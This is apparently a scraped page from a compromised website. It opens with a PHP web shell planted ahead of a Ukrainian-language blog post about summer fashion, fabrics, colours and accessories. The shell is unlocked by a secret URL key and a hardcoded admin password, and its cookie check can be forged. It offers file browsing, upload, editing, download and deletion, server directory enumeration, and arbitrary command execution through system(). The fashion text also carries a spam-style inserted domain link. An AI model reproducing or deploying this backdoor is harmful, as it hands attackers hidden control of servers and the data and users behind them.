if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Елегантні стильні образи для літніх днів кожного дня – collectives.berlin

Your digital paradise.

Елегантні стильні образи для літніх днів кожного дня

Обирайте легкі, modny.com.ua природні матеріали для свого гардеробу. Льон та бавовна стануть найкращими союзниками у спекотну погоду. Вони дозволяють шкірі дихати і забезпечують комфорт без ризику перегріву.

Додайте в свій погляд акценти, які підкреслюють вашу індивідуальність. Яскраві аксесуари, такі як біжутерія чи стильні головні убори, допоможуть зробити образ більш виразним та сміливим.

Не забувайте про взуття. Легкі сандалі або елегантні мокасини не тільки доречні, але й забезпечать зручність при прогулянках. Вибирайте моделі з натуральних матеріалів, щоб відчувати себе комфортно протягом усього дня.

Завжди звертайте увагу на кольорові поєднання. Літні відтінки, такі як м’ятний, кораловий або ніжно-жовтий, додадуть енергії вашому образу, надаючи йому свіжості та легкості.

Обирайте багатошаровість: легкий кардиган або ж тонка блуза, накинута на верхній одяг, можуть легко змінити враження від ансамблю. Це дозволяє не лише виглядати стильно, а й бути підготовленими до несподіваних змін погоди.

Вибір кольорів та тканин для літнього гардеробу

Вибір тканин має велике значення. Легкі, дихаючі матеріали, такі як льон, бавовна та віскоза, стають оптимальними варіантами. Наприклад, льон забезпечує комфорт у спекотну погоду, оскільки добре пропускає повітря. Бавовняні вироби легкі у догляді та чудово вбирають вологу.

  • Льон – стійкий до зношення, підтримує тіло в комфортному стані.
  • Бавовна – універсальна тканина, доступна в різноманітних кольорах та візерунках.
  • Віскоза – створює м’яке дотик, що нагадує шовк.

Щодо колірної палетти, варто обрати світлі, нейтральні відтінки, що відображають атмосферу сезону. Пастельні тони, такі як м’ятний, персиковий або ніжно-блакитний, додають легкості. Крім того, яскраві кольори, як червоний, жовтий або зеленувато-блакитний, можуть стати яскравими акцентами у образах, що підкреслять вашу індивідуальність.

Аксесуари, які підкреслять ваш образ влітку

Широкі сонцезахисні окуляри стануть чудовим доповненням. Обирайте моделі зі строгими формами, щоб надати вашому вигляду більше грації. Окуляри з кольоровими лінзами додадуть ефекту загадки та свіжості, підкреслюючи ваш стиль.

Ремені з натуральних матеріалів не лише актуальні, але й функціональні. Вибирайте варіанти з текстури, які контрастують з матеріалом ваших штанів або спідниці. Це допоможе створити баланс у вашому вбранні.

Яскраві біжутерії можуть зробити ваш look живішим. Наприклад, намиста та браслети з натуральних каменів або шкіри виглядають чудово на фоні простих топів. Такі деталі повноцінно завершать образ без надмірностей.

Сумки-мешки з легких тканин і яскравих кольорів чудово пасують до будь-якого аутфіту. Вибір моделі залежить від нагоди. Простора пляжна сумка стане незамінною для виходу на море, а компактна сумочка – для вечірньої прогулянки.

Головні убори, такі як капелюхи, можуть не лише захистити від сонця, але й додати елегантності. Обирайте моделі з натуральних волокон, таких як соломка або бавовна, щоб вони дихали під час спеки.

Тонкі шарфи з легких матеріалів у пастельних тонах допоможуть ввести нотку романтики в ваш вигляд. Зав’яжіть їх на шиї або використовуйте як обробку сумки. Це додасть оригінальності без зайвих зусиль.

Leave a Reply

Your email address will not be published. Required fields are marked *